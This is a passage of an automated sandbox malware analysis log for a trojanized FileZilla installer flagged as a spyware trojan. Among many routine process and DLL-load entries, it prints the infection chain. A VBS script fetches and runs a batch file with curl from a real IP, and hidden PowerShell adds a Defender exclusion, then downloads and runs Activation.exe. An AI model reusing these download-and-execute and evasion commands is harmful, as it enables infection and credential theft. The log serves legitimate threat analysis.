Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: 13_2_00007FF81FA00260	13_2_00007FF81FA00260
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_03113818	14_2_03113818
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_031140E8	14_2_031140E8
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0311A642	14_2_0311A642
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0311DC48	14_2_0311DC48
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0311DC3A	14_2_0311DC3A
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_031134D0	14_2_031134D0
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_05969550	14_2_05969550
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_05969540	14_2_05969540
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0596F010	14_2_0596F010
Source: C:\Users\user\AppData\Local\Activation.exe	Code function: 14_2_0596F000	14_2_0596F000

Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: String function: 00007FF81FA07340 appears 453 times
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: String function: 61537370 appears 49 times
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: String function: 615378D0 appears 158 times
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Code function: String function: 61537AB0 appears 32 times

Source: C:\Users\user\AppData\Local\Activation.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 2444

Source: rukT6hBo6P.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-6EDME.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-A7Q49.tmp.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: is-OFR6V.tmp.2.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: is-D9L8F.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-68M3B.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-5P94A.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-FUL37.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-5SMFM.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-S855R.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-CBLQR.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-G1HOC.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-6EDME.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-3N89B.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-QDPQH.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-0UGH2.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-OFR6V.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-MRNBG.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: is-PU0TT.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-0BL99.tmp.2.dr	Static PE information: Number of sections : 11 > 10
Source: rukT6hBo6P.exe	Static PE information: Number of sections : 11 > 10
Source: is-TST7B.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-A7Q49.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: rukT6hBo6P.tmp.0.dr	Static PE information: Number of sections : 11 > 10
Source: is-ENHKS.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-3PB36.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-HOTO1.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-PM1M7.tmp.2.dr	Static PE information: Number of sections : 12 > 10
Source: is-75899.tmp.2.dr	Static PE information: Number of sections : 11 > 10

Source: rukT6hBo6P.exe, 00000000.00000000.1346477199.0000000000FA9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs rukT6hBo6P.exe
Source: rukT6hBo6P.exe, 00000000.00000003.1350421187.000000007F00A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs rukT6hBo6P.exe
Source: rukT6hBo6P.exe, 00000000.00000003.1350024062.00000000038CE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs rukT6hBo6P.exe

Source: rukT6hBo6P.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Activation.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0004525674499565
Source: Activation.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0165413533834586
Source: Activation.exe.10.dr	Static PE information: Section: ZLIB complexity 1.6

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@22/1699@3/4

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

File created: C:\Program Files (x86)\Fzilla

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Activation.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Mutant created: \Sessions\1\BaseNamedObjects\FileZilla 3 Mutex Type 1
Source: C:\Users\user\AppData\Local\Activation.exe	Mutant created: \Sessions\1\BaseNamedObjects\Pekorojasecopycemonuxazivopenos
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Mutant created: \Sessions\1\BaseNamedObjects\FileZilla 3 Mutex Type 9
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2044
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Mutant created: \Sessions\1\BaseNamedObjects\FileZilla 3 Mutex Type 5
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Mutant created: \Sessions\1\BaseNamedObjects\FileZilla 3 Mutex Type 4
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_03
Source: C:\Program Files (x86)\Fzilla\filezilla.exe	Mutant created: \Sessions\1\BaseNamedObjects\FileZilla 3 Mutex Type 6

Source: C:\Users\user\Desktop\rukT6hBo6P.exe

File created: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs

Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rukT6hBo6P.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: SELECT data FROM %Q.'%q_node' WHERE nodeno=?Node %lld missing from databaseNode %lld is too small (%d bytes)Rtree depth out of range (%d)Node %lld is too small for cell count of %d (%d bytes)Dimension %d of cell %d on node %lld is corruptDimension %d of cell %d on node %lld is corrupt relative to parentwrong number of arguments to function rtreecheck()SELECT * FROM %Q.'%q_rowid'Schema corrupt or not an rtree_rowid_parentENDSELECT count(*) FROM %Q.'%q_%s'cannot open value of type %sno such rowid: %lldforeign keyindexedcannot open virtual table: %scannot open table without rowid: %scannot open view: %sno such column: "%s"cannot open %s column for writingblockDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';version%s_nodedata_shape does not contain a valid polygonj
Source: Activation.exe, 0000000E.00000002.2064893036.0000000003547000.00000004.00000800.00020000.00000000.sdmp, Activation.exe, 0000000E.00000002.2064893036.00000000035C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: filezilla.exe, filezilla.exe, 0000000D.00000002.2597668113.000000006648F000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: filezilla.exe

String found in binary or memory: debug-startup

Source: C:\Users\user\Desktop\rukT6hBo6P.exe

File read: C:\Users\user\Desktop\rukT6hBo6P.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rukT6hBo6P.exe "C:\Users\user\Desktop\rukT6hBo6P.exe"
Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp "C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp" /SL5="$20478,12507492,845824,C:\Users\user\Desktop\rukT6hBo6P.exe"
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process created: C:\Program Files (x86)\Fzilla\filezilla.exe "C:\Program Files (x86)\Fzilla\filezilla.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"
Source: C:\Users\user\AppData\Local\Activation.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 2444
Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Process created: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp "C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp" /SL5="$20478,12507492,845824,C:\Users\user\Desktop\rukT6hBo6P.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Process created: C:\Program Files (x86)\Fzilla\filezilla.exe "C:\Program Files (x86)\Fzilla\filezilla.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rukT6hBo6P.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: msftedit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: windows.globalization.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: globinputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
